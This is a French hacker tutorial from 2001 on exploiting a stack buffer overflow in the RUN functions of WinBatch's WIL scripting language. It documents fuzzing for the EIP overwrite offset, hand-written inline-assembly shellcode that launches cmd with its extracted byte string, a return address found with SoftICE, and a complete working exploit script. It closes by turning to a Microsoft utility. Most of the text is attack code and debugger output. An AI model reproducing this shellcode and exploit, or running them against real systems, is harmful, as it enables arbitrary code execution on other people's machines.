01/09/2001 ##################################################################################################### [ MaKE ] [ IT ] [ OVERRUN ] <-- Exploiting the Windows Interface Language just For fun, By ThreaT ##################################################################################################### -------------- [ Presentation ] -------------- Le WIL (Windows Interface Language) est un language de script structuré, qui consiste en un large nombre de fonctions et de commandes précodés dans des Librairies, ce qui permet de mettre en place rapidement et simplement de très bons programmes si vous maitrisez la logique des architectures Windows. Proposé par 'Wilson WindowWare, Inc.', le language comporte bien plus de 400 divers fonctions, et une bonnes douzaines d'extantions, servant à créé divers utilitaires, qui pourront aborder toutes les situations possibles qui peuvent survenir si vous êtes administrateur d'un parc Microsoft. Plus qu'un language de script traditionnel, WIL permet de compiler votre code en EXE, integrer des DLL codé de votre cru, et de créé une interfaces graphiques basic comme sous VB. C'est vraiment un language puissant que j'appréci beaucoup. ------------ [ OVERRUN IT ] ------------ Bien que le WIL comporte une bonnes cinquantaines de commandes permettant de manipuler mémoires et buffers. la tache n'est pas gagnée d'avance... Regardons ensemble quelques fonctions interessantes : BinaryAlloc (size) :<-- alloue un buffer mémoire pour des operations binaires BinaryCopy (Handle targ, Offset targ, handle src, offset scr, count) ;<-- equivalent à strncpy en C BinaryPokeStr (Handle, Offset, String) ;<--- Ecrit une chaine de caractères dans un buffer Essayons maintenant de declarer un buffer, et de l'overwriter manuellement de differentes façons... ---[ testvuln1.wbt ]--- Bover=binaryalloc (10) binarypokestr (Bover,0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") ----------------------- on compile avec Wcompiler.. D:\projet\overrun\>testvuln1.exe Error: 2332 : BinaryPokeStr: Data to store would overrun binary buffer On line : binarypokestr (Bover,0,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") WinBatch 32 2001H WIL Version: 3.3hcc D:\projet\overrun\> hum, shit ---[ testvuln2.wbt ]--- Bover=binaryalloc (10) BBfuck=binaryalloc (20) binarypokestr (BBfuck,0,"AAAAAAAAAAAAAAAAAAA") binarycopy (bover, 0, bbfuck, 0, 20) ----------------------- D:\projet\overrun\>testvuln2.exe Error: 3328 : BinaryCopy: Data to be copied will not fit in buffer On line : binarycopy (bover, 0, bbfuck, 0, 20) WinBatch 32 2001H WIL Version: 3.3hcc D:\projet\overrun\> Le language a l'air de controler les tailles de buffers avant d'effectuer une quelquonque opération. essayons tout de même autre chose... ---[ testvuln3.wbt ]--- Bover=binaryalloc (10) binarypokestr (Bover,0,"%param1%") ----------------------- D:\projet\overrun\>testvuln3.exe BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Error: 2332 : BinaryPokeStr: Data to store would overrun binary buffer On line : binarypokestr (Bover,0,"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB") WinBatch 32 2001H WIL Version: 3.3hcc on va rajouter des B par gros paquets! D:\projet\overrun\>testvuln3.exe BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Error: 3101 : Substitued line too long (>255 characters) On line : binarypokestr (Bover,0,"%param1%") WinBatch 32 2001H WIL Version: 3.3hcc D:\projet\overrun\> ha shit! Une contrainte vient ce rajouter à notre quête! une ligne de code WIL ne doit pas depasser 255 Caractères! essayons la substitution... ---[ testvuln4.wbt ]--- Bover=binaryalloc (10) binarypokestr (Bover,0,param1) ----------------------- D:\projet\overrun\>testvuln4.exe strfill("A",400) Error: 2332 : BinaryPokeStr: Data to store would overrun binary buffer On line : binarypokestr (Bover,0,param1) WinBatch 32 2001H WIL Version: 3.3hcc D:\projet\overrun\> Non, rien y fait! sa marche pas! essayons, de proceder à l'overwrite de testvuln4 par l'intermediaire d'un autre script ---[ attak1.wbt ]--- run ("d:\projet\overrun\testvuln4.exe","AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") -------------------- D:\projet\overrun\>attak1.exe Error: 2332 : BinaryPokeStr: Data to store would overrun binary buffer On line : binarypokestr (Bover,0,param1) WinBatch 32 2001H WIL Version: 3.3hcc D:\projet\overrun\> toujours pas bon, on essaye autre chose ---[ attak2.wbt ]--- run ("d:\projet\overrun\testvuln4.exe",strfill ("A",500)) -------------------- D:\projet\overrun\>attak2.exe Error: 2332 : BinaryPokeStr: Data to store would overrun binary buffer On line : binarypokestr (Bover,0,param1) WinBatch 32 2001H WIL Version: 3.3hcc D:\projet\overrun\> bon, cette fois ci, on y vas franchement!! ---[ attak3.wbt ]--- run ("d:\projet\overrun\testvuln4.exe",strfill ("A",2000)) -------------------- D:\projet\overrun\>attak3.exe Error: 2332 : BinaryPokeStr: Data to store would overrun binary buffer On line : binarypokestr (Bover,0,param1) WinBatch 32 2001H WIL Version: 3.3hcc --[ ATTAK3.EXE ]-- Une exception d'application s'est produite : App : (pid=248) Quand : 9/30/2000 @ 15:51:47.843 Numéro d'exception : c0000005 (violation d'accès) Etat de vidage Thread Id 0xf1 eax=00135008 ebx=000003e8 ecx=00164af4 edx=00000bb5 esi=00135008 edi=77f13b82 eip=41414141 esp=0012fc34 ebp=001398bc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 D:\projet\overrun\>YESSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS!!!!!!!! Le nom spécifié n'est pas reconnu comme étant une commande interne ou externe, un programme exécutable ou un fichier de commandes. D:\projet\overrun\> eip=41414141 WE HAVE FOUND A BUFFER OVERRUN ! --------- [ ANALYSE ] --------- Je ne sais pas si vous avez remarquez, mais l'exe qui a provoqué une erreur de violation d'accès n'est pas celui que l'on desirait! L'erreur a été généré par notre script d'attaque, ce qui veut dire qu'une vulnerabilité est presente dans la fonction RUN elle même, chose qui est beaucoup plus interressante! :) --> la famille 'RUN' Run (program-name, parameters) ; <--- execute un programme normalement RunEnviron (program-name,params,display mode,waitflag) ;<--- lance un prog avec en environnement la table defini par environset RunHide (program-name, parameters) ;<--- execute un programme en fenêtre caché RunHideWait (program-name, parameters) ;<--- execute le prog en caché, et attend la fin pour continuer RunIcon (program-name, parameters) ;<-- execute un prog en le minimisant dans la barre des taches RunIconWait (program-name, parameters) ;<-- minimise le prog, et attend la fin de son execution pour continuer Runshell (program-name,params,directory,display mode,waiflag);<-- une forme avancé de RUN RunWait (program-name, parameters) ;<-- execute un prog normalement, et attend la fin de son execution RunZoom (program-name, parameters) ;<-- execute un programme en plein ecran RunZoomWait (program-name, parameters) ;<-- execute en plein ecran, et attend la fin de l'execution du prog A mon avis, la vulnerabilité viens du faite que la famille 'RUN' place les paramètres dans un buffer avant de faire un appelle d'execution. Si ma theorie vient à s'averer juste, cela fait beaucoup de fonctions vulnerables :) Après la theorie, la pratique :) ---[ vuln1.wbt ]--- run ("wordpad",strfill ("A",2000)) ------------------- D:\projet\overrun\>vuln1.exe Une exception d'application s'est produite : App : (pid=61) Quand : 9/30/2000 @ 16:59:23.605 Numéro d'exception : c0000005 (violation d'accès) eax=00135008 ebx=000003e8 ecx=00164abc edx=00000bb5 esi=00135008 edi=77f13b82 eip=41414141 esp=0012fb34 ebp=001398bc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 vulnerable! ---[ vuln2.wbt ]--- runicon ("wordpad",strfill ("A",2000)) ------------------- D:\projet\overrun\>vuln2.exe Une exception d'application s'est produite : App : (pid=61) Quand : 9/30/2000 @ 17:10:21.102 Numéro d'exception : c0000005 (violation d'accès) eax=00135008 ebx=000003e8 ecx=00164abc edx=00000bb5 esi=00135008 edi=77f13b82 eip=41414141 esp=0012fb34 ebp=001398bc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 vulnerable! etc ... Au lieu de tous vous les montrers, je vais vous faire une liste des commandes qui on provoqués l'erreur de violation d'accès run ("wordpad",strfill ("A",2000)) rundhide ("wordpad",strfill ("A",2000)) runhidewait ("wordpad",strfill ("A",2000)) runicon ("wordpad",strfill ("A",2000)) runiconwait ("wordpad",strfill ("A",2000)) runwait ("wordpad",strfill ("A",2000)) runzoom ("wordpad",strfill ("A",2000)) runzoomwait ("wordpad",strfill ("A",2000)) Runshell ("wordpad",strfill("A",2000),"c:\",@normal,@nowait) RunEnviron ("wordpad",strfill ("A",2000),@normal,@nowait) maintenant que nous avons une liste des fonctions vulnerables, il serait bien de connaitre la position exacte des octets qui overwrite EIP. Pour cela, comme d'hab, le brute force est ma methode préféré ! On vas torturer une seul fonction (vous ferez pareil pour les autres si vous voulez) -----[ vuln.wbt ]----- run ("wordpad",strcat (strfill ("A",%param1%),"BBBB")) -------------------- D:\projet\overrun\>vuln.exe 1500 wordpad ce lance correctement D:\projet\overrun\>vuln.exe 1600 Une exception d'application s'est produite : App : (pid=289) Quand : 9/30/2000 @ 17:22:15.498 Numéro d'exception : c0000005 (violation d'accès) eax=00135008 ebx=000003e8 ecx=00164af4 edx=00000bb5 esi=00135008 edi=77f13b82 eip=00000000 esp=0012fc34 ebp=001398bc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 hum, EIP = 00000000, on ce rapproche D:\projet\overrun\>vuln.exe 1650 Une exception d'application s'est produite : App : (pid=293) Quand : 9/30/2000 @ 17:24:23.943 Numéro d'exception : c0000005 (violation d'accès) eax=00135008 ebx=000003e8 ecx=00164af4 edx=00000bb5 esi=00135008 edi=77f13b82 eip=41414141 esp=0012fc34 ebp=001398bc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 on en a trop mis... D:\projet\overrun\>vuln.exe 1625 Une exception d'application s'est produite : App : (pid=176) Quand : 9/30/2000 @ 17:25:53.792 Numéro d'exception : c0000005 (violation d'accès) eax=00135008 ebx=000003e8 ecx=00164af4 edx=00000bb5 esi=00135008 edi=77f13b82 eip=00424242 esp=0012fc34 ebp=001398bc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 yes! EIP = 00424242, ce qui veut dire qu'il ne manque qu'un octet pour trouver le bon offset :) D:\projet\overrun\>vuln.exe 1626 Une exception d'application s'est produite : App : (pid=303) Quand : 9/30/2000 @ 17:29:20.49 Numéro d'exception : c0000005 (violation d'accès) eax=00135008 ebx=000003e8 ecx=00164af4 edx=00000bb5 esi=00135008 edi=77f13b82 eip=42424242 esp=0012fc34 ebp=001398bc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 EIP overwrite is Perfect!! Nous venons de determiner que la fonction 'RUN' ecrase parfaitement EIP lorsqu'on lui fait passser un paramètre de 1626 octet! avec EIP overwrité aux octets 1627, 1628, 1629, 1630 ----------- [ SHELLCODE ] ----------- Maintenant que nous savont parfaitement overwrité EIP, il serait bien de faire un test en faisant executer du code arbitraire que nous aurons placé dans un buffer prevue à cet effet. nous allons donc concevoir un petit programme qui seras destiné a être placé dans un segment de donnée, appelé communément le SHELLCODE. Pour la concéption du shellcode, il ne seras pas necessaire de faire appelle à la fonction GetProcAddress pour retrouvé les adresses de __system() __exit() etc... vue que cet exploit est un exploit LOCAL. un banal shellcode d'appelle CMD feras très bien l'affaire ----------------------[shellcode.c]--------------------------- int main () { __asm { mov ebp,esp /* met EBP et ESP au même niveau xor eax,eax push eax push eax push eax /* Place quelques 0 sur la pile */ mov byte ptr[ebp-0Ch],4Dh mov byte ptr[ebp-0Bh],53h mov byte ptr[ebp-0Ah],56h mov byte ptr[ebp-09h],43h mov byte ptr[ebp-08h],52h mov byte ptr[ebp-07h],54h mov byte ptr[ebp-06h],2Eh mov byte ptr[ebp-05h],44h mov byte ptr[ebp-04h],4Ch mov byte ptr[ebp-03h],4Ch /* ecrit MSVCRT.DLL sur la pile */ mov edx,0x77F137BD /* met dans EDX l'adresse de la fonction LoadLibraryA (doit être adapté à votre OS) push edx /* push l'adresse sur la pile */ lea eax,[ebp-0Ch] /* load dans eax l'adresse de la chaine msvcrt.dll */ push eax /* la place sur la pile */ call dword ptr[ebp-10h] /* appelle la fonction LoadLibraryA avec MSVCRT.DLL en argument */ mov ebp,esp /* remet EBP et ESP au même niveau xor edi,edi push edi /* initialise 4 octets sur la pile mov byte ptr [ebp-04h],43h mov byte ptr [ebp-03h],4Dh mov byte ptr [ebp-02h],44h /* ecrit CMD sur la pile */ mov eax, 0x78019824 /* met en EAX l'adresse de MSVCRT!system (doit être adapter à votre OS) */ push eax /* Place l'adresse sur la pile */ lea eax,[ebp-04h] /* Load l'adresse de la chaine CMD */ push eax /* push it on the stack! */ call dword ptr [ebp-08h] /* appelle de la fonction __system avec CMD en argument */ mov ebp,esp /* remet EBP et ESP au même niveau */ mov edx,0xFFFFFFFF /* Petite manipulation! l'adresse de ma fonction __exit = 0x78005504 */ sub edx,0x87FFAAFB /* comme mon shellcode ne doit pas contenir de 00, je place en EDX 0xFFFFFFFF*/ /* que je soustrais ensuite à 0x87FFAAFB */ push edx /* ce qui donne finalement un 0x78005504 sur la pile ;) */ xor eax,eax push eax /* on termine en placant un 00 */ call dword ptr[ebp-04h] /* et on fait appelle à la fonction EXIT */ } } --------------------------------------------------------------- on compile, et on regarde si sa marche C:\borland\bcc55\source\>c:\borland\bcc55\bin\bcc32 -B -I"c:\borland\bcc55\include" -L"c:\borland\bcc55\lib" shellcode.c Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland shellcode.c: Warning W8070 shellcode.c 43: Function should return a value in function main Turbo Assembler Version 5.0r Copyright (c) 1988, 1996 Borland International Serial No: Tester: Assembling file: shellcode.ASM Error messages: None Warning messages: None Passes: 1 Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland C:\borland\bcc55\source\>shellcode.exe -------------------------------------- Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp C:\borland\bcc55\source\>exit -------------------------------------- C:\borland\bcc55\source\> impecable, notre shellcode marche parfaitement! Il nous faut maintenant trouvé la chaine de caractère correspondant au shellcode pour l'injecter dans notre buffer test. --> extraction du shellcode Pour l'extraction du shellcode, nous allons editer le fichier OBJ, créé lors de la compilation. C:\borland\bcc55\source\>dir shellcode.obj Le volume dans le lecteur C n'a pas de nom de volume. Le numéro de série du volume est 1841-1101 Répertoire de C:\BORLAND\BCC55\source 30/09/00 18:22 349 shellcode.obj 1 fichier(s) 349 octets 415 596 544 octets libres Edition de shellcode.obj en Hexadecimal : 00000000 800D 000B 7368 656C 6C63 6F64 652E 6324 ....shellcode.c$ 00000010 8809 0040 E800 0000 0000 0047 8820 0000 ...@.......G. .. 00000020 001C 5475 7262 6F20 4173 7365 6D62 6C65 ..Turbo Assemble 00000030 7220 2056 6572 7369 6F6E 2035 2E30 9988 r Version 5.0.. 00000040 1300 40E9 6996 3E29 0B73 6865 6C6C 636F ..@.i.>).shellco 00000050 6465 2E63 8788 0300 40E9 4C96 0200 0068 de.c....@.L....h 00000060 8803 0040 A194 960C 0005 5F54 4558 5404 ...@......_TEXT. 00000070 434F 4445 9698 0700 A977 0002 0301 3B96 CODE.....w....;. 00000080 0C00 055F 4441 5441 0444 4154 41C2 9807 ..._DATA.DATA... 00000090 00A9 0000 0405 01AE 960A 0004 5F42 5353 ............_BSS 000000A0 0342 5353 2A98 0700 A900 0006 0701 AA96 .BSS*........... 000000B0 0600 0446 4C41 5439 9A02 0008 5C96 0800 ...FLAT9....\... 000000C0 0644 4752 4F55 508B 9A06 0009 FF03 FF02 .DGROUP......... 000000D0 5490 0C00 0001 055F 6D61 696E 0000 005A T......_main...Z 000000E0 A07B 0001 0000 558B EC53 578B EC33 C050 .{....U..SW..3.P 000000F0 5050 C645 F44D C645 F553 C645 F656 C645 PP.E.M.E.S.E.V.E 00000100 F743 C645 F852 C645 F954 C645 FA2E C645 .C.E.R.E.T.E...E 00000110 FB44 C645 FC4C C645 FD4C BABD 37F1 7752 .D.E.L.E.L..7.wR 00000120 8D45 F450 FF55 F08B EC33 FF57 C645 FC43 .E.P.U...3.W.E.C 00000130 C645 FD4D C645 FE44 B824 9801 7850 8D45 .E.M.E.D.$..xP.E 00000140 FC50 FF55 F88B ECBA FFFF FFFF 81EA FBAA .P.U............ 00000150 FF87 5233 C050 FF55 FC5F 5B5D C331 8A02 ..R3.P.U._[].1.. 00000160 0000 74 ..t Ok, pour s'y retrouver dans tout ce bordel, il nous faut prendre connaissance de la valeur Hexa du debut et de la fin de notre petit prog ASM Référez vous à un soft tel que Windasm pour la visualisation.. :010053A1 89E5 mov ebp, esp :010053A3 31C0 xor eax, eax :010053A5 50 push eax :010053A6 50 push eax :010053A7 50 push eax [ ... ] :01005417 31C0 xor eax, eax :01005419 50 push eax :0100541A FF55FC call [ebp-04] donc, la chaine doit commancer par quelque chose comme 89 E5 31 C0 50 50 50 et ce terminer par un truc du style 31 C0 50 FF 55 FC (il est possible que quelques octets soit differents) regardons si nous trouvons sa quelque par... 00000000 800D 000B 7368 656C 6C63 6F64 652E 6324 ....shellcode.c$ 00000010 8809 0040 E800 0000 0000 0047 8820 0000 ...@.......G. .. 00000020 001C 5475 7262 6F20 4173 7365 6D62 6C65 ..Turbo Assemble 00000030 7220 2056 6572 7369 6F6E 2035 2E30 9988 r Version 5.0.. 00000040 1300 40E9 6996 3E29 0B73 6865 6C6C 636F ..@.i.>).shellco 00000050 6465 2E63 8788 0300 40E9 4C96 0200 0068 de.c....@.L....h 00000060 8803 0040 A194 960C 0005 5F54 4558 5404 ...@......_TEXT. 00000070 434F 4445 9698 0700 A977 0002 0301 3B96 CODE.....w....;. 00000080 0C00 055F 4441 5441 0444 4154 41C2 9807 ..._DATA.DATA... 00000090 00A9 0000 0405 01AE 960A 0004 5F42 5353 ............_BSS 000000A0 0342 5353 2A98 0700 A900 0006 0701 AA96 .BSS*........... 000000B0 0600 0446 4C41 5439 9A02 0008 5C96 0800 ...FLAT9....\... 000000C0 0644 4752 4F55 508B 9A06 0009 FF03 FF02 .DGROUP......... 000000D0 5490 0C00 0001 055F 6D61 696E 0000 005A T......_main...Z 000000E0 A07B 0001 0000 558B EC53 57 On prend en compte --> 8B EC33 [C050 <-- correspond au debut du shellcode .{....U..SW..3.P 000000F0 5050] C645 F44D C645 F553 C645 F656 C645 PP.E.M.E.S.E.V.E 00000100 F743 C645 F852 C645 F954 C645 FA2E C645 .C.E.R.E.T.E...E 00000110 FB44 C645 FC4C C645 FD4C BABD 37F1 7752 .D.E.L.E.L..7.wR 00000120 8D45 F450 FF55 F08B EC33 FF57 C645 FC43 .E.P.U...3.W.E.C 00000130 C645 FD4D C645 FE44 B824 9801 7850 8D45 .E.M.E.D.$..xP.E 00000140 FC50 FF55 F88B ECBA FFFF FFFF 81EA FBAA .P.U............ 00000150 FF87 5233 [C050 FF55 FC] <--- ici pour la fin 5F 5B5D C331 8A02 ..R3.P.U._[].1.. 00000160 0000 74 ..t nous en deduisons donc que notre chaine hexa faisant office de shellcode est : 8B EC 33 C0 50 50 50 C6 45 F4 4D C6 45 F5 53 C6 45 F6 56 C6 45 F7 43 C6 45 F8 52 C6 45 F9 54 C6 45 FA 2E C6 45 FB 44 C6 45 FC 4C C6 45 FD 4C BA BD 37 F1 77 52 8D 45 F4 50 FF 55 F0 8B EC 33 FF 57 C6 45 FC 43 C6 45 FD 4D C6 45 FE 44 B8 24 98 01 78 50 8D 45 FC 50 FF 55 F8 8B EC BA FF FF FF FF 81 EA FB AA FF 87 52 33 C0 50 FF 55 FC --------------------- [ MAKING PROGRAM TEST ] --------------------- Maintenant que nous possedons du code arbitraire ainsi que l'offset d'overwrite EIP, nous allons faire un petit test en placant le shellcode dans un buffer dont il nous seras très facile de retrouver son addresse, puis nous lancerons une attaque sur la fonction RUN de façon à ce que EIP repointe sur le buffer créé à cet effet! ----------[ exploit_test.wbt ]---------- addextender ("wilx34I.dll") line1= "8B EC 33 C0 50 50 50 C6 45 F4 4D C6 45 F5 53 C6 45 F6 56 C6 45 F7 43 C6 45 F8 52 C6 45 F9 54 C6 45 FA 2E " line2= "C6 45 FB 44 C6 45 FC 4C C6 45 FD 4C BA BD 37 F1 77 52 8D 45 F4 50 FF 55 F0 8B EC 33 FF 57 C6 45 FC 43 C6 45 FD 4D C6 " line3= "45 FE 44 B8 24 98 01 78 50 8D 45 FC 50 FF 55 F8 8B EC BA FF FF FF FF 81 EA FB AA FF 87 52 33 C0 50 FF 55 FC" shellcode=strcat (line1,line2,line3) shellstr=binaryalloc (200) ; Création d'un buffer de 200 octets for i = 1 to itemcount (shellcode," ") octet=xhex (itemextract(%i%,shellcode," ")) binarypokestr (shellstr,binaryeodget (shellstr),num2char (octet)) ; injection du shellcode dans le buffer next ret = xbaseconvert (intcontrol (42,shellstr,0,0,0),10,16) ;determiation de l'adresse du buffer for f = 5 to 1 by -2 octet=xhex (strsub (ret,%f%,2)) binarypokestr (shellstr,binaryeodget (shellstr),num2char (octet)) ;placement de l'adresse à la fin du shellcode next binarypokestr (shellstr,binaryeodget (shellstr),num2char ("00")) ;on termine par un 0 ;lancement de la commande run avec en paramètre notre str overrun qui vas repointer directement sur notre ;buffer créé précédement run ("wordpad",strcat (strfill (num2char (xhex(90)),1517),binarypeekstr (shellstr,1,i+4))) -------------------------------------------- on compile ce petit joujou, et on test D:\projet\overrun\>exploit_test.exe lancement de wordpad... ---------------------------------------- Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp D:\projet\overrun\> ---------------------------------------- OK! notre exploit test a parfaitement bien marché!! On vas enfin pouvoir passer aux choses serieuses... --------------------- [ L'ADRESSE DE RETOUR ] --------------------- Maintenant que nous savons repointer l'EIP overwrité vers un buffer, il serait peut être temp de trouvé l'adresse de l'emplacement mémoire qui habrite les paramètres transmit à la fonction 'RUN' Pour cela, nous allons tracer un programme vulnerable avec softice... ------[ dbvuln.wbt ]----------- run ("wordpad",strcat (strfill ("A",1626),"BBBB")) ------------------------------ C:\>net start ntice Le service NTice a démarré. C:\>dbvuln.exe ----[softice]---- Break due to UnhandleExecption NTSTATUS=STATUS_ACCESS_VIOLATION MSR LastExceptionFromIp=1C040C45 MSR LastExceptionToIp=42424242 /* softice nous dit qu'il y a eu violation d'accès, car EIP pointe sur l'adresse 42424242, et que l'exception c'est produite à l'adresse 1C040C45. nous allons jetter un oeil sur cette addresse... */ :u 1C040C45 001B:1C04045 FF907C2E0000 CALL [EAX+0002E7C] <--- Très interressant ce call :) 001B:1C0404B 83C404 ADD ESP,04 001B:1C0404E C3 RET 001B:1C0404F 90 NOP 001B:1C04050 83EC24 SUB ESP,24 001B:1C04053 53 PUSH EBX 001B:1C04054 56 PUSH ESI 001B:1C04055 8B742430 MOV ESI,[ESP+30] 001B:1C04059 57 PUSH EDI 001B:1C0405A 8B7C243C MOV EDI,[ESP+3C] 001B:1C0405E 55 PUSH EBP 001B:1C0405F 81FFF7000000 CMP EDI,00000007 001B:1C04065 0F8504010000 JNZ 1C040D6F 001B:1C0406B 83BE5C48000007 CMP DWORD PTR [ESI+0000485C],0A 001B:1C04072 7C11 JL 1C040C85 001B:1C04074 66C786502700005809 WORD PTR [ESI+00002750],095B 001B:1C0407D 5D POP EBP 001B:1C0407E 5F POP EDI 001B:1C0407F 5E POP ESI 001B:1C04080 5B POP EBX 001B:1C04081 83C424 ADD ESP,24 001B:1C04084 C3 RET 001B:1C04085 6800800000 PUSH 000008000 001B:1C0408A FF1520F1051C CALL [KERNEL32!SET ERROR MODE] --------------------(PASSIVE)-KTEB(8067B030)-TID(00E1)-WBDCC34I!.text+0003FC45-------------------- /* On remarque que 1C040C45 est une adresse de WBDCC34I.DLL regardons maintenant les instructions pointées par notre instruction CALL */ :u eax+00002E7C 001B:00137E84 42 INC EDX <--- Yess! 001B:00137E85 42 INC EDX <--- Le call pointe directement sur notre overwrite d'EIP 001B:00137E86 42 INC EDX <--- ce qui veut dire que notre buffer ce trouve 001B:00137E87 42 INC EDX <--- tout prêt! 001B:00137E88 0000 ADD [EAX],AL 001B:00137E8A 0000 ADD [EAX],AL 001B:00137E8C 0000 ADD [EAX],AL 001B:00137E8E 0000 ADD [EAX],AL 001B:00137E90 0000 ADD [EAX],AL etc... :u eax+2822 /* car 0x2822 = 0x2E7C - 0x65A (sachant que 0x65A = 1626 qui est l'offset d'overwrite) */ 001B:0013782A 41 INC ECX <--- BINGOOOOO!!! 001B:0013782B 41 INC ECX 001B:0013782C 41 INC ECX ; L'emplacement mémoire est rempli de 41 = 'A' 001B:0013782D 41 INC ECX 001B:0013782E 41 INC ECX ;ce qui veut dire que nous venons de trouvé l'adresse 001B:0013782F 41 INC ECX ;de retour du buffer vulnerable! 001B:00137830 41 INC ECX 001B:00137831 41 INC ECX 001B:00137832 41 INC ECX 001B:00137833 41 INC ECX 001B:00137834 41 INC ECX 001B:00137835 41 INC ECX 001B:00137836 41 INC ECX 001B:00137837 41 INC ECX 001B:00137838 41 INC ECX 001B:00137839 41 INC ECX 001B:0013783A 41 INC ECX 001B:0013783B 41 INC ECX 001B:0013783C 41 INC ECX 001B:0013783D 41 INC ECX 001B:0013783E 41 INC ECX etc.... --------------------- [ MAKE IT EXPLOITABLE ] --------------------- Regardons les infos que nous avons à dispositions : --> 1626 qui correspond à l'Offset d'overwrite --> "8B EC 33 C0 50 50 50 C6 45 F4 4D C6 45 F5 53 C6 45 F6 56 C6 45 F7 43 C6 45 F8 52 C6 45 F9 54 C6 45 FA 2E C6 45 FB 44 C6 45 FC 4C C6 45 FD 4C BA BD 37 F1 77 52 8D 45 F4 50 FF 55 F0 8B EC 33 FF 57 C6 45 FC 43 C6 45 FD 4D C6 45 FE 44 B8 24 98 01 78 50 8D 45 FC 50 FF 55 F8 8B EC BA FF FF FF FF 81 EA FB AA FF 87 52 33 C0 50 FF 55 FC" Correspondant à notre shellcode, qui vas servir a lancer un CMD --> 0013782A qui est l'adresse de retour vers le buffer vulnerable --> Contraintes! Le paramètres que nous allons faire passés à notre fonction RUN de doit pas depasser les 255 Caractères! ok, voici comment vas ce presenter la chose RUN ("wordpad",NOP X (1626 - taille du shellcode),"chainedecaracterequicorrespondautranscritdushellcode+ret") nous allons donc faire un petit programme pour transcrire le shellcode en une chaine de caractères.. -------[hex2char.wbt]------ addextender ("wilx34I.dll") line1= "8B EC 33 C0 50 50 50 C6 45 F4 4D C6 45 F5 53 C6 45 F6 56 C6 45 F7 43 C6 45 F8 52 C6 45 F9 54 C6 45 FA 2E " line2= "C6 45 FB 44 C6 45 FC 4C C6 45 FD 4C BA BD 37 F1 77 52 8D 45 F4 50 FF 55 F0 8B EC 33 FF 57 C6 45 FC 43 C6 45 FD 4D C6 " line3= "45 FE 44 B8 24 98 01 78 50 8D 45 FC 50 FF 55 F8 8B EC BA FF FF FF FF 81 EA FB AA FF 87 52 33 C0 50 FF 55 FC" ret = "2A 78 13 00" ;adresse de retour shellcode=strcat (line1,line2,line3) shellstr=binaryalloc (200) for i = 1 to itemcount (shellcode," ") octet=xhex (itemextract(%i%,shellcode," ")) binarypokestr (shellstr,binaryeodget (shellstr),num2char (octet)) ;place le shellcode dans un buffer next for f = 1 to 4 octet=xhex (itemextract(%f%,ret," ")) binarypokestr (shellstr,binaryeodget (shellstr),num2char (octet)) ;place l'adresse de retour apres le shellcode next sh=binarypeekstr (shellstr,0,binaryeodget (shellstr)) a=fileopen ("shellcode.txt","WRITE") ;ouvre shellcode.txt en ecriture filewrite (a,sh) ;ecrit la chaine de caractere dans le fichier fileclose (a) ;ferme le fichier --------------------------------- voici le resultat de ce petit prog --------------[ Shellcode.txt ]------------------ ‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUü*x ------------------------------------------------- taille du transcrit = 113 donc le nombre de NOP = 1513 + 3 octet (car l'offset change celon le prog appellé qui est ici 'wordpad') on peut maintenant mettre la chose en place ---------[ Exploit.wbt ]------------ run ("wordpad",strcat(strfill(num2char("144"),1516),"‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUü*x")) ------------------------------------- on compile, et on execute :) D:\projet\overrun\>exploit.exe lancement de wordpad... ---------------------------------------- Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp D:\projet\overrun\> ---------------------------------------- Et voila, j'obtiens un shell grâce à EIP qui repointe directement dans le buffer utilisé par la fonction RUN! -------------------------------- [ EXPLOITING A MICROSOFT UTILITY ] -------------------------------- Maintenant que nous connaissons parfaitement une vulnerabilité du language WIL, essayons de trouvé un soft ecrit en language WIL :) --> SCRIPTIT.EXE <-- 